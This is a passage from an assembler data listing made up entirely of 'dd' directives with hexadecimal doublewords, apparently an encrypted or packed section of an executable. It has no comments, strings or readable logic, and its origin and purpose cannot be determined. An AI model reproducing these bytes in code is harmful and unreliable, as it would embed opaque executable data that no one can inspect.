4DCE93Dh, 459F0000h, 0CEE3ED4h, 0AE37871Dh, 7B85D56Bh dd 2BD020B6h, 0E64F68FEh, 5BF138C3h, 0A83EF30Bh, 0F288A958h dd 3ED45DA2h, 7F635069h, 75A802Bh, 39C69C21h, 32C9ABF8h dd 0FC0A61F7h, 0EAF62E03h, 3EBDCB15h, 0D3785CEBh, 32005491h dd 4CB27F82h, 4FE21DFFh, 4FDA2002h, 0CE1C5002h, 13A98877h dd 5DF33EC3h, 2B06F806h, 171AE7F3h, 1B16E8CAh, 0DDB29CEh dd 0E51CCB36h, 1D2FE64Ch, 30B0ECDCh, 0E8DA123Ch, 13CA6798h dd 18FCE9FEh, 0A054929Fh, 9E5F43D2h, 19E75492h, 987738E1h dd 6154929Eh, 0D47EE9FFh, 0B5457C37h, 6Dh, 0F839C660h dd 0D40CEAABh, 24D55491h, 0FA47EA16h, 90662A62h, 7CFC3BE5h dd 0B1C45h, 0B0C50000h, 91DFDFC3h, 61996754h, 0BDAABF50h dd 5491D3D9h, 4F5B9361h, 4F317EABh, 19C634ABh, 9AE74DCCh dd 6D4F9C02h, 9F519E93h, 34C69D6Bh, 0E32C3EF5h, 9A08935Ah dd 0E12EFB00h, 0B9ABE349h, 204D9669h, 56C9D4FDh, 0E0EEA50Bh dd 0E8DA121Fh, 0F435C693h, 0F435C5A7h, 62CF2F3Dh, 0D3DABEABh dd 94625491h, 0EFDFB35Ch, 78B14A19h, 0C46D92E2h, 0C9509577h dd 2C10FD12h, 0B45491D4h, 3C05AEE6h, 1BB5A036h, 0FC457CFAh dd 76h, 796A97A5h, 988200F2h, 1C54BA69h, 0F435C60Bh, 573B283Dh dd 0DF5491D3h, 4E30D911h, 83358297h, 51AAB94Fh, 0EC1321D8h dd 2860F845h, 1415E636h, 161BE5C7h, 0ECFA00C9h, 7CFADF79h dd 0EF111F45h, 0DE2004F1h, 0DAA85491h, 0DB8F2774h, 5A90D4FCh dd 0CE407814h, 44h, 0F435C679h, 0F53CC5A7h, 778533A8h dd 0F3D7C4D9h, 7B5491D3h, 2E949D63h, 1811EAF6h, 34C62D82h dd 0B5303EF5h, 0C2832C64h, 5491D3E3h, 14EDFBACh, 9C8D6D1Dh dd 0BB7FB74Fh, 0FC903A2Dh, 171457Ch, 1C000000h, 0ADFA1FC6h dd 9345B6C4h, 91D3C2A6h, 167C4A54h, 0EDF931C9h, 2DD21F12h dd 253309DFh, 0B5A259C0h, 5491D3D1h, 47538B59h, 0B2C47B9Eh dd 75EF181Fh, 3EF30D19h, 0C4AEA0D8h, 85722993h, 5177EAB2h dd 51D8223Ah, 0B22234EBh, 0AB164250h, 0B61C15EAh dd 0BDB6C902h, 356D336Fh, 8B55AA8Ch, 7A97BA9Eh, 0E74425Ah dd 0D2132178h, 2A62FA47h, 0DF06E11Eh, 9818FCE9h, 0D2A05A7Ah dd 0F8B9066Ch, 5A7A981Ah, 0B68D5B09h, 252E849h, 5E734FDh dd 16EA37FAh, 687AD026h, 7ACF0A3Fh, 41F00E51h, 6897A3DBh dd 5D0733C9h, 3E40945Ah, 115h, 91FB2CE9h, 0F986EDDAh, 0B8865176h dd 0BB76896Bh, 72AD525h, 0A27D8BAh, 0E3F9E9BDh, 0F086AB54h dd 9BD01AC4h, 67FB40h, 0BFA60000h, 74589CADh, 0BF57A48Dh dd 9F62BD0Bh, 0DD89C167h, 0DDBF0C1Dh, 45AB1108h, 7764798Eh dd 54926893h, 2A154D1Bh, 54926816h, 8B99501Eh, 0D881B970h dd 92693317h, 57A50154h, 15CC2266h, 92681428h, 51051754h dd 0CF852560h, 0B3818FC7h, 9CB1C61Dh, 920BCBAFh, 0F6855354h dd 54920C12h, 0C694CC9Ah, 85h, 91FB2C29h, 0DB96EDDAh, 0FE165176h dd 47DF2CFDh, 41894D93h, 63C9C38Bh, 0D0619EACh, 0F20DEF98h dd 0A659A93Fh, 147D3E8Bh, 8B5A7908h, 23310FDDh, 131F57C2h dd 0C5AF45ECh, 86732A92h, 5766C0F6h, 0F2DB28F6h, 0C6BD36E0h dd 0A65D187Fh, 67C2D5B9h, 578F5D60h, 307DB44Bh, 317EB34Eh dd 307DAC4Fh, 0EFBC4A7Eh, 82D82E7Ch, 6AA28774h, 22DF93C4h dd 0DDF2A90Fh, 7A1F8ACBh, 0A1D95FFBh, 553426B6h, 0C258265Dh dd 91FB2C6Dh, 8C5DEDDAh, 8F5D517Fh, 0FC35CAD8h, 36DF17AFh dd 674B384Dh, 0EF5A802Ch, 9F8A7121h, 7682BA52h, 0C212A889h dd 0E6A7F43Dh, 729974ABh, 8CDB3165h, 0D828BE73h, 0E8CCB927h dd 7292BAF6h, 0C058A58Ch, 6E90400Eh, 27105DC3h, 0FA47E219h dd 0E21E2A62h, 0F5D024Fh, 52956AF9h, 69C836A9h, 6E1E841Ch dd 0A63CA277h, 6FBA414Fh, 46528A22h, 1A6A2AB9h, 0ED16EF1Ah dd 3963A87h, 0F9000000h, 1EC61358h, 33CCAEFBh, 32CFB1FEh dd 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h dd 21D9BB08h, 686FBB08h, 27AAh, 89243C89h, 4C781E7h, 83000000h dd 3C8704EFh, 17685C24h, 89000021h, 0F7682434h, 8900004Bh dd 68552404h, 72371ADDh, 15F5815Dh, 817F8D44h, 33FA11C5h dd 8BEE89F8h, 0C481242Ch, 4, 8904EC83h, 4832424h, 51580424h dd 8B9h, 89C10100h, 240C8B31h, 4C481h, 34FF0000h, 0C4835824h dd 2434FF04h, 4C4815Eh, 0E9000000h, 0FFF922E7h, 0E932E291h dd 8F38A6AEh, 40794905h, 2EB89DEDh, 305EE5Dh, 0D1E0FFC5h dd 0AA7624DDh, 980C7DA6h, 0A92EDB6Fh, 73626CA8h, 9071EE7h dd 0F6616ABBh, 52233942h, 2951D009h, 440DB6C6h, 772AC550h dd 8015AF2h, 0D47B1636h, 0BC303D85h, 563C8989h, 0AD148FBBh dd 0CB792DD6h, 834AF0EBh, 0B54D0539h, 791EDD57h, 642B5041h dd 0B109260h, 0E27351EEh, 0B476B898h, 3B48C42Bh, 416A65EEh dd 4470A34Bh, 0CF055A18h, 760DD44Ah, 3A72FE30h, 0EB5C54E1h dd 0A096FA04h, 526E97Bh, 0DD070000h, 0A456A63Ch, 469FEF85h dd 13ED3DD3h, 0C338881Eh, 4EB7D066h, 0C359D02Bh, 10A68B73h dd 5AF041C0h, 0A63CF50Ah, 0E7CBB8D1h, 6F5A8031h, 0F1F40289h dd 0BFDFF028h, 0ACE44DB1h, 85D25FA0h, 0BC6D8E9Ch, 0F23FF20Ch dd 0E516225Ah, 0A15EAE44h, 0D36E523Fh, 28F65491h, 6C9375C2h dd 649678C5h, 98996674h, 4024B34Bh, 0C85491D3h, 725643FAh dd 0FA5491D3h, 0C779C62Ch, 11EE4593h, 0C73A8A20h, 7D84D46Ah dd 12EFFDB4h, 5C3EE71Fh, 0C6D88FA2h, 9C6C7398h, 0DD86BE31h dd 451CEA38h, 8FDF75BCh, 0B374C170h, 549299D4h, 8FAD3B9Dh dd 66B37E81h, 4AE96CEh, 44457C3Ah, 0A55E422Fh, 18E65492h dd 796EE0h, 0C6190000h, 3C7BAA39h, 985DBA0Bh, 0EEFCE532h dd 0F9E41C0Dh, 54927E1Bh, 17482E4h, 457C5657h, 1838h, 2DD3E100h dd 85EB46BAh, 7E624F38h, 6549289h, 0DD22D238h, 376F0754h dd 0AB34C626h, 0F48CD950h, 9B5F418Eh, 0BF16CF40h, 85EB08E9h dd 0F425C0CEh, 2ED70FA7h, 307DB44Ch, 0A5BC4A7Eh, 0B1DD455h dd 966DA499h, 8A7CB4BEh, 4D311E33h, 0D554921Ch, 3CC3CF07h dd 0C60A5FF5h, 0DE3BAA35h, 4CB3C178h, 1B04ADE5h, 0F441D80Dh dd 0E218245Ch, 0D42509F6h, 95AD5491h, 0DF77C465h, 0F2C61379h dd 0CDB19EB3h, 555491D3h, 0B0ED787h, 2AEE26BEh, 7C697EDCh dd 5491D398h, 0E1A5220h, 56A63CEDh, 593B88A9h, 77408D8Ch dd 56F09B71h, 37457CFAh, 72h, 10D1CEE0h, 460504A5h, 0ADBFFD0Eh dd 6DFB6F0Bh, 2B376F79h, 2A0C59D0h, 95A75EBBh, 54918BF9h dd 2CE078C5h, 43CDA1Eh, 6775A95Bh, 68FE2BD0h, 5FCE318h dd 9779C62Ch, 0A68A7769h, 2E549200h, 0E4ADFA60h, 0A35D08DEh dd 3457CD7h, 0DC29F0F5h, 439A0C44h, 45000000h, 0D9BDAABFh dd 615491D3h, 0AC4F5B93h, 0B34E307Dh, 0EBC317Eh, 979269F8h dd 34C6AC01h, 8E7A8F5h, 0D15491D4h, 41E81220h, 45EC12F4h dd 15E3A7DFh, 7CFCB862h, 14EAF845h, 38D01Dh, 18Eh, 1FC63900h dd 226B52ACh, 99FF43DDh, 9C956A4Ch, 9B8E6D4Fh, 9A8F6C4Eh dd 7389794Dh, 9F6DBB2Eh, 66FC1DC8h, 0F8CCFD0Fh, 58EA7AC0h dd 0DF497A20h, 19683B28h, 22F05177h, 8EA35D6Bh, 0C871A941h dd 821819E6h, 0AD64CD32h, 82CF629Fh, 2009B2EAh, 8F5D312h dd 5A792024h, 2B78DEACh, 92705B93h, 145A791Fh, 19FB48D1h dd 5FFD4AE7h, 65A8F503h, 0E36C5668h, 0E318E120h, 4211E7ABh dd 8EDE74BDh, 950D7271h, 28CE2A01h, 6C9375C2h, 0B4A478C5h dd 41F00F26h, 0C5D57FABh, 13B6409Bh, 61000001h, 0DA91FB2Ch dd 9749B7C5h, 91D3C6AAh, 1A804E54h, 0F990F7E2h, 0C2905176h dd 807E8C75h, 926D79B1h, 0FF7D614Eh, 37055A78h, 14EB3BD1h dd 11EED01Dh, 67546920h, 5A78FF83h, 8A3CED0Dh, 7DB84BCh dd 8D72C117h, 38E20EA4h, 19409BD0h, 46h, 4AB1BFC4h, 43FA92DFh dd 91D37256h, 0F42CFA54h, 0FDB43A4Eh, 91D3FC10h, 0E9360454h dd 26F3F200h, 1E0941D9h, 5491D53Ah, 5EAC08h, 56D4A6EEh dd 0B8F0E8D2h, 0C178FE12h, 91F2C0D4h, 64FAC854h, 7D52h dd 0FB2CB500h, 157B9E47h, 0DB1A715Eh, 80955176h, 78DCAF93h dd 0B569375Ah, 49BBAEBh, 0E4640h, 0FC03E532h, 0B04F9F35h dd 8A5F4330h, 19E75A79h, 3CA566B3h, 0B35A798Bh, 9F60F705h dd 8B705441h, 2AF85A79h, 13442EC4h, 5D05F2A9h, 0DD576746h dd 1FE0C20Fh, 0D220C512h, 0E6182604h, 2E66FE4Bh, 0AF9C5F88h dd 6067EACBh, 681F8553h, 7E1E8E56h, 0D109ECCBh, 0A929D1BEh dd 0DBA95D55h, 0FB2CF045h, 0B7C5DA91h, 0C3AEE643h, 517F8E1Bh dd 9E80CD9Bh, 0B4758661h, 4085974Eh, 8B9C341Ah, 3CA28774h dd 3DC21204h, 10CF78A6h, 0F28C40F1h, 1D6AD027h, 0CDF64E5Ch dd 0BE4C8030h, 43D958A7h, 6EAD7ECh, 8CD8CF99h, 804FF3BFh dd 4210C22Ah, 0E201FE0Ah, 62EDFB19h, 0ADFA6003h, 0E544B6C4h dd 0D25FA1ADh, 4492E085h, 891F12EDh, 4C301D32h, 0D4D8CFC7h dd 3DC2CE06h, 0CB2F3DF4h, 0F542E714h, 12AAF75Dh, 128D31DAh dd 0EE000000h, 0C5121FE0h, 58E4F52Dh, 35FC0311h, 81B96085h dd 0FB1EC670h, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h dd 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 54576FBBh, 4C7815Fh dd 83000000h, 3C8704EFh, 89515C24h, 4C181E1h, 83000000h dd 0C8704E9h, 34895C24h, 0D146824h, 4890000h, 5E416824h dd 348B05EEh, 4C48124h dd 54000000h, 8324048Bh, 0EC8304C4h, 24348904h, 67242C81h dd 8F6D903Eh, 40810840h, 903E6708h, 24048B6Dh, 81E28952h dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 815E2434h, 4C4h dd 1D31E900h, 0ED0FFF9h, 32AAB3ADh, 0E356821h, 0EE62E1B8h dd 0FFC50305h, 50E36FE0h, 6DF6D067h, 9A02AB30h, 0A1520870h dd 91590873h, 860E5F58h, 0B2B0466Dh, 0F3AFE46Fh, 2CADC83Fh dd 0EA54C569h, 0D0FE9679h, 68586320h, 0DA880A5Ch, 0B1D8CF06h dd 2A04EB7Dh, 0E90F1E73h, 59Eh, 18AE6B79h, 61F732C8h, 0AF45D411h dd 0FA90A15Fh, 42D851AAh, 5E9DC029h, 19E535CBh, 0CF328218h dd 837CCC62h, 2A4318AEh, 8036593Dh, 76FBE15Ah, 0ABF839C6h dd 0DCC0ADC2h, 645491D3h, 0A9525E96h, 659AEA80h, 0D3AA8E7Bh dd 64325491h, 30CFB1FEh, 0BDCBB401h, 0ABB7EF42h, 0DB8DDA4Fh dd 0EDFB51A7h, 3CD421F8h, 2A07F804h, 0F4486173h, 7059523Ch dd 0BF64638h, 0A0616F26h, 17675991h, 11FA47EAh, 0FD35FC03h dd 0D7240DF1h, 73879532h, 99D169B6h, 172907D5h, 12E0DC2Ch dd 0ECF83012h, 53651C15h, 8ED8EF24h, 0A294CC91h, 0C03AAD52h dd 451E01Fh, 21B9066Ch, 0CEAD6EBBh, 97549239h, 7489A735h dd 398E725Fh, 48165492h, 9239D5B9h, 578F5D54h, 7C9AC56Fh dd 5CA645h, 0C6510000h, 0EAABF839h, 5491D40Ch, 0F26573D5h dd 457CFC48h, 129h, 34C6D400h, 34C6A8F5h, 0CF303EF5h, 0FB48E918h dd 18B0FD63h, 0AB5537E0h, 4873986h, 0EE260BF6h, 7585DC2Ah dd 5B48906Ah, 5491D377h, 7ECB31FFh, 68C936E6h, 871D831Bh dd 0B269C837h, 7EA38EA0h, 0F0286A2Ah, 35C6A9FEh, 152B3DF4h dd 0AC42E96Bh, 0BD9F4880h, 0CAAE9B3Dh, 5254922Eh, 52671E84h dd 922E8165h, 33170454h, 0BB54922Fh, 356D3BEDh, 0D950AA8Ch dd 8F54AA8Ch, 76B6A7C6h, 0A1EE54E9h, 5358AEFCh, 9B6472B1h dd 4C9A5E96h, 1120E0EEh, 0F1896D5Ah, 43115491h, 2DFCFF0Bh dd 79B84797h, 0DCC0ADC2h, 645491F1h, 0D3B55E96h, 0D8BA0712h dd 0DCBE0B26h, 0DEC00D24h, 27BF0C1Dh, 186573A7h, 0CF6D7B81h dd 39A63DC1h, 3E7CD4Ch, 4C327FE5h, 2BD56021h, 8BC32916h dd 7C1BE9A3h, 83EA45h, 0C6950000h, 2B3DF435h, 78169866h dd 9A030C47h, 7EFB5CF3h, 456C6418h, 0BAC29820h, 0EEF7D982h dd 611504E1h, 0CB0B1DCh, 9BE84E4Eh, 1027B5E9h, 58A83EEBh dd 0C1CF86A3h, 0AA2EF3Ah, 0B6D4C656h, 4C84C046h, 0F23FC1A3h dd 0D6DCA5h, 4428152Ah, 0CC54920Ah, 24DEC6FEh, 25457CCDh dd 4Eh, 0F435C6D0h, 0AB3CC5A7h, 0F991DE53h, 23D14693h dd 0AC7D7ED5h, 0D1FEE7F5h, 4F9C022Fh, 53A0916Dh, 2B1D55BBh dd 0AB34C6D6h, 0D52BDB56h, 313FF65Ch, 47E219CEh, 0AFFC62FAh dd 7536DF17h, 5491D396h, 7CEFFD5Fh, 457CFCD2h, 1B3h, 1FC65E00h dd 34CBADFAh, 443146FDh, 5491D360h, 681A17EAh, 14B9629Ah dd 51856577h, 79A58976h, 5F2D5492h, 4ED70ABh, 0B1C75437h dd 0F52D936Dh, 598CDB31h, 6D9E826Fh, 8A245492h, 0FCCF7A45h dd 0DD8D5B0Dh, 29C10E23h, 10432DC3h, 0CEDCF1A8h, 0D9C4FC2Dh dd 51770806h, 8A73C08Eh, 61AE837Ch, 49E819C9h, 0E6FA0511h dd 790E15F9h, 69CF9D5Ah, 0C76A7CD3h, 0F248B766h, 0B946528Ah dd 8C6A2B78h, 7B5A78D8h, 0D7283FCDh, 2EFF110h, 5A78D91Eh dd 0C72D8A6h, 58D92676h, 5BD6290Bh, 0BC4A3A0Eh, 41D75AA5h dd 9BF96B15h, 639DAB40h, 35E981CEh, 52ED8819h, 0C6387091h dd 116h, 2F115D6Fh, 42D500E5h, 75C26F92h, 2C94A5DDh, 0EDDA91FBh dd 5176F986h, 0F301B886h, 42DA27F2h, 807F610Ah, 34CB1BB1h dd 31CEB0FDh, 0EFDFB300h, 7CB54A19h, 0D010BAE6h, 51F1409Bh dd 9A000000h, 72BF728Ch, 523623DAh, 0DA5A790Bh, 2CC3D40Ch dd 0EEDB92E4h, 5491D3DAh, 0DEC714E2h, 47B82FD0h, 9F059DEAh dd 0D4987C67h, 0DE225491h, 0DB240653h, 0D7270956h, 0F5750D5Ah dd 0FA662BC1h, 2B5F489Eh, 0D210EC5h, 155491D5h, 879FB147h dd 2000000h, 0DA91FB2Ch, 76DB96EDh, 0FB481651h, 0B54BE619h dd 4A979A65h, 78DE2089h, 58D12A5Ah, 12D5290Bh, 91DE44EDh dd 43489EECh, 0AD845200h, 7B808E52h, 3AC961AEh, 5A78DE56h dd 9E6010DEh, 40972D93h, 1461C832h, 759E447Ch, 295F4C03h dd 0A95766BCh, 817A6D91h, 8FDC42A8h, 92DF52ADh, 0B94250EDh dd 0F359D826h, 0F5A0EA6h, 2984FF2Eh, 3CCA8EC6h, 39F0588Bh dd 558F164Ch, 0F97F915Dh, 0A1E8D4Eh, 28F6043Ch, 0FB2C3D92h dd 87C8DA91h, 48AC77D6h, 0F7E50760h, 0F65CD07Eh, 88BEABBEh dd 8517FD8h, 0F40BED3Ah, 8471863Dh, 5A805EA0h, 30225A28h dd 0C5121FE0h, 0F6DAC7DCh, 7E5A805Eh, 818D78B0h, 8B645054h dd 9072BF5Ah, 0D876C36Eh, 28D76E7Ch, 0EF23A309h, 7CB54A19h dd 0C86996E6h, 8067997Bh, 0CC64B180h, 0AD9AAF66h, 657078C9h dd 0E8E7144Fh, 0BA6C1B6Eh, 290BB4ECh, 280A57D2h, 710F5CBDh dd 47BAC715h, 0AB54E3F9h, 8499F086h, 70BFB397h, 356D3B65h dd 0E5BD629h, 7C061325h, 3C241EF6h, 0C3604h, 85970000h dd 0DA9077FCh, 0AFC0F810h, 1EC61358h, 33CCAEFBh, 32CFB1FEh dd 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h, 11D4B603h dd 21D9BB08h, 506FBB08h, 4055854h, 83000000h, 48704E8h dd 45685C24h, 89000013h, 8952240Ch, 4C281E2h, 81000000h dd 4EAh, 24148700h, 242C895Ch, 8904EC83h, 43BF243Ch, 8105817Ah dd 0C208E5F7h, 0A9C7817Dh, 0C13A4240h, 0F78107EFh, 48B68D5h dd 545FF989h, 81242C8Bh, 4C4h, 0E46800h, 0C890000h, 8458F24h dd 5D2434FFh, 4C481h, 34FF0000h, 0C4815924h, 4, 0F9173EE9h dd 0D2B813FFh, 305EE68h, 0DEE0FFC5h, 980BB56Bh, 7D19BA8Bh dd 0FA593C7Ch, 5D76006Ah, 0A87A1DBAh, 58093598h, 8D1E2D69h dd 0EE6AA68Dh, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 6F61A8BCh, 2AA481E0h dd 0FDBD8B2Eh, 8905E702h, 0E71AA98Dh, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 69E1F855h, 0E8FE8B66h, 0Bh, 3E7D74C4h, 0F5FB1A45h, 8B174FE9h dd 85C758C3h, 5E72A4Dh, 716Ch, 0F2ADD781h, 0E9507A98h dd 7, 9C7E224h, 5AD80CB2h, 273985C7h, 5E7h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 8B43BFC3h, 61B589D7h, 8905E71Ch, 0E72A6995h, 0F9B5FF05h dd 8B05E722h, 9595FFF0h, 6A05E717h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 33E4C353h dd 161465FDh, 7E8DB0Eh, 8F000000h, 0E83CC75Fh, 2360CC59h dd 0E7009585h, 12E805h, 38ED0000h, 51DF6B3Ch, 7F7AD49Eh dd 635A1C0Dh, 5390F8AEh, 0E95F615Eh, 8, 0AC66D37Dh, 0CBBA4332h dd 95FF006Ah, 5E721C1h, 1FEBC08Bh, 62D6CA0Ah, 9144E342h dd 8624C61Eh, 1A872C4Ah, 8C0BFE45h, 0ABD1406Dh, 6AA2567Bh dd 0EB198D93h, 0A7B26704h, 523E92Dh, 499B0000h, 10EA3AD0h dd 0B2338319h, 7F81D167h, 2FCC1CB2h, 0E24B64FAh, 57ED3CBFh dd 0A43AF707h, 0EE84AD54h, 3AD0619Eh, 7B5F4C65h, 35A803Dh dd 39C6981Dh, 41364DAAh, 89EFE6EDh, 37A15A3Ch, 0CB5AD729h dd 5491E4E7h, 0A53BA16Fh, 0D087AA55h, 0D77127BEh, 18505972h dd 75728D6Fh, 0F03DA386h, 0F03DEC0Eh, 0F542D70Eh, 0F845EC13h dd 0D9A63424h, 79D72559h, 0B04F906Bh, 369C3481h, 0D1951E9h dd 59A93FF2h, 0C4D289A8h, 0C2A8F53Ch, 0DB95B8E1h, 5B93F9D7h dd 49E81969h, 0F50513FCh, 0EF0FC34h, 0CF4D623h, 9F6D825h dd 0F529DB28h, 0D9279AE7h, 64CD3403h, 506277CEh, 0E0CC578h dd 0D9BD4CE9h, 635491F1h, 0B048959Ch, 658030FEh, 8F707CB4h dd 0B59455A2h, 7E5491F1h, 0F19BCE1Ch, 0D2457CE2h, 54h dd 0AE39C67Dh, 0FA92DF52h, 0A8864794h, 715491D3h, 4E63F90Fh dd 91D37D61h, 0FF370554h, 7CFC6D17h, 14E45h, 0C6F90000h dd 8F50AB34h, 0F75DC356h, 0AD32C8AAh, 2976DC4Dh, 0C178B947h dd 99E64BB3h, 6E20C901h, 6595AC3Ah, 5CA9807Ah, 78C85EC4h dd 0BF14AA87h, 0D9BDAABFh, 615491D3h, 1118E393h, 0FB2ECDD9h dd 0FB2ECCAEh, 1CEADAAEh, 0DD73B645h, 0AC6D7886h, 838FC75Fh dd 8668B57Ch, 548B705Fh, 9F3784ADh, 71CD339h, 6F179FF5h dd 18A7B4A5h, 54921734h, 0DB6EEBCh, 0BDA83E44h, 457CB903h dd 9D04h, 35C6AF00h, 20C5A7F4h, 402D42F9h, 5491D35Ch, 35DE16E4h dd 0A3B94F83h, 821EF291h, 0F62E7C2Ch, 821811EAh, 0A960C932h dd 0AE927F94h, 3654925Eh, 5EF5D968h, 0AF7D5492h, 14ECCE77h dd 0B9062BD3h, 0A50B0ED7h, 2329F23Fh, 71E8A2D5h, 71E9457Ch dd 92000000h, 68AC907Dh, 66345492h, 35C61D2Eh, 0D3D2B6A3h dd 68555491h, 5491D384h, 0BE8C3E0Ch, 0D8290B58h, 0D4371B08h dd 0F1BF5491h, 0A35C3E8Bh, 0A05F418Eh, 9F624491h, 0EA00F092h dd 536562A5h, 0B1635D93h, 975B9377h, 2009F241h, 34C6358Ah dd 0AABFA8F5h, 91D3D9BDh, 5B936154h, 91D39170h, 0E2F85A54h dd 6DBC3E4Ch, 0FCA34D35h, 184457Ch, 2F000000h, 0ADFA1FC6h dd 0B0FD34CBh, 0CE5C6E0Bh, 295CBEEFh, 0FD2CCE7Eh, 5CEB01C5h dd 10FA9089h, 0D1BE75E7h, 5177DAFEh, 896BB886h, 0D525BB76h dd 0F9BA072Ah, 5A79E11Bh, 0B78E5C0Ah, 353E948h, 6E835FCh dd 17EB38F9h, 7D82D127h, 48F21EB4h, 294094F1h, 157h, 91FB2CD4h dd 0F986EDDAh, 0B8865176h, 0BB76896Bh, 72AD525h, 0C027D8BAh dd 418EF425h, 0C5202E6Dh, 376F0754h, 0B5C76573h, 2CCE023Eh dd 0EAF62E02h, 42DD215h, 0C87C604Dh, 36045A79h, 0D5E33AD0h dd 0E8D00829h, 409B093Eh, 581Fh, 0ADBFCA00h, 0ED698D95h dd 11B7EFADh, 0D3C077F9h, 54922DBFh, 0EBACF9C7h, 54922F07h dd 0E41C2AD5h, 0C8EF994Dh, 0FD1CDF9Fh, 0C2EB01C5h, 6EAD78Eh dd 8E5492BFh, 0BE9E826Fh, 58265492h, 0C0D58CF2h, 0AEE633B2h dd 92BEAFC3h, 53E9B754h, 0BA41h, 6794A200h, 0A5DD75C2h dd 2BADBF94h, 0BF10DB7Bh, 2354FA32h, 0BE1502B9h, 3E517723h dd 2C3A2370h, 1B275FD2h, 2B0FFCE4h, 0B35A7926h, 0BAC87FE5h dd 60249F44h, 6B8369D8h, 84DBCD05h, 0A05B8476h, 3EA43C89h dd 152159F1h, 39FA47EAh, 5A7947D0h, 0ED439947h, 0BCBBC8DBh dd 97CF048Dh, 27BD748Bh, 0B2540A3Dh, 2CD94228h, 95E24FB1h dd 7A3197FDh, 6794F18Dh, 20E1F957h, 0EEDBC411h, 60681A0Ah dd 0F85EC492h, 0FB36C9ABh, 2DBB09AEh, 2AE14B7Ch, 19442815h dd 0B0CC6068h, 0B408A774h, 0F830964Eh, 3FC2D0E5h, 0D50DA5F2h dd 56734EEAh, 0F288565Dh, 0C0718D9Bh, 0D42BDB73h, 0BF14255Dh dd 0A9E150B1h, 0B168D003h, 7FBA28C4h, 15623051h, 0CF65CC33h dd 64B1807Fh, 53786D7Bh, 0F202E372h, 326AD0BBh, 0C65D8547h dd 0FD0B3F82h, 2989966h, 2DE44DB2h, 17FFDC1Fh, 0EF37E723h dd 8062AF15h, 164EB465h, 6B758B6Dh, 0C9EB9A7Eh, 0DA062282h dd 0C006AA45h, 2B78DE44h, 93A23886h, 0A387746Ch, 2B82CA0Ah dd 1161F75Dh, 0DF643EEh, 0E12EFBFFh, 0A431149h, 0A6000000h dd 0E534B1BFh, 4EC80098h, 0FB1EC609h, 0FE33CCAEh, 0FF32CFB1h dd 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh dd 6C686FBBh, 89000076h, 89562414h, 4C681E6h, 83000000h dd 348704EEh, 14895C24h, 21526824h, 0C890000h, 0BB535024h dd 580F3062h, 0DDDCEB81h, 0D8894064h, 0BD5BBA5Bh, 0C2291D98h dd 7C826858h, 24890000h, 24048124h, 4, 79916859h, 1C890000h dd 89D38924h, 8B5B0859h, 8956240Ch, 4C681E6h, 81000000h dd 4C6h, 24348700h, 2434FF5Ch, 4C4815Ah, 0E9000000h, 0FFF9109Fh dd 0D63F2CC2h, 0B1553E8Dh, 6F71B811h, 0C50305EEh, 4B2E0FFh dd 3D3215EAh, 16991A9Ah, 8BEF4EF7h, 1FB925C6h, 0D2160445h dd 2299387Bh, 2F4B24E9h, 546E6A09h, 5A996CF8h, 0D7B308D6h dd 245625D5h, 710A10DDh, 0F3E4571Bh, 0F99C03C9h, 3FB205C0h dd 8D8D3056h, 5EE70D9h, 68B0Fh, 0B5890000h, 5E72F1Dh, 1AA98D89h dd 0BB6605E7h, 85C74125h, 5E72A4Dh, 712Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BBC35040h, 4D01BD26h dd 15F54F97h, 273985C7h, 5E7h, 0BE660000h, 0B5FF9087h dd 5E71639h, 2371B58Bh, 95FF05E7h, 5E71795h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 27C35040h, 8B666231h dd 81958BDAh, 6A05E718h, 0C195FF00h, 8B05E721h, 0C40DEBC0h dd 4D2CB8CBh, 0C244FE14h, 0DE1D8333h, 23204EBh, 3AE9560Dh dd 0BC000005h, 0B5BF128h, 54A43AEFh, 0A2F28891h, 0ED3DD35Eh dd 6C851B0Eh, 0E1BE003h, 5BD62878h, 0A58C75C5h, 0F140BF0Fh dd 806D865Bh, 5A80439Ch, 0C6B93E24h, 0C9ABF839h, 1161F732h dd 0DD02F9EEh, 45AB1108h, 0F7E916F8h, 91D4260Ah, 7AE0AE54h dd 7AAF4B2Dh, 0E6F87B2Dh, 3F564DA6h, 21E51D42h, 0AE837CCBh dd 0CCFCE9F7h, 9288FBDFh, 4FB58354h, 2CD52517h, 0E21F6F05h dd 0DE20024Fh, 0D238F109h, 3BEE0D1Bh, 67B55A03h, 54ADBB91h dd 0C0F890DDh, 4EE44DB4h, 22C3E5F7h, 635F61B3h, 7E01F2Bh dd 82CF35F4h, 927BE2C1h, 959C6454h, 98996648h, 7187774Bh dd 0FD12C32Ch, 927C2C10h, 0AEE6B454h, 303E1CEAh, 7A125FCAh dd 54B05A42h, 8091457Ch, 3C000000h, 0ABF839C6h, 0E64BB4C2h dd 0D3E5C3AEh, 94675491h, 98664895h, 4B44C99h, 4BE936FBh dd 2B9419EFh, 9E4833C9h, 7F457CFCh, 1, 0A434C62Ah, 0C1A2CD92h dd 21B01292h, 5492B93Dh, 0B9EFD3C0h, 0A9775492h, 76C329F7h dd 76C36694h, 807B6C94h, 4693865Fh, 95E248AEh, 359AFE3h dd 0F02809F5h, 7D1316E4h, 6BEC1426h, 123830A0h, 31CEDAh dd 63473449h, 0ED5492A2h, 0A06E2011h, 0BF217668h, 0A8E049B1h dd 13CA5F9Ch, 9CC4E801h, 139641Bh, 0A5847658h, 0A4857658h dd 0A78A7557h, 6674A85Ah, 71877719h, 58C3C9DBh, 368F14B3h dd 2009F2FEh, 6CC53A8Ah, 4924361Fh, 0F9D03DA0h, 37AEBAF2h dd 0C6CC95E2h, 0F48B4530h, 0DDEB457Ch, 65D70F22h, 5Dh dd 0F435C610h, 0F920C5A7h, 63C63442h, 9CD0822Bh, 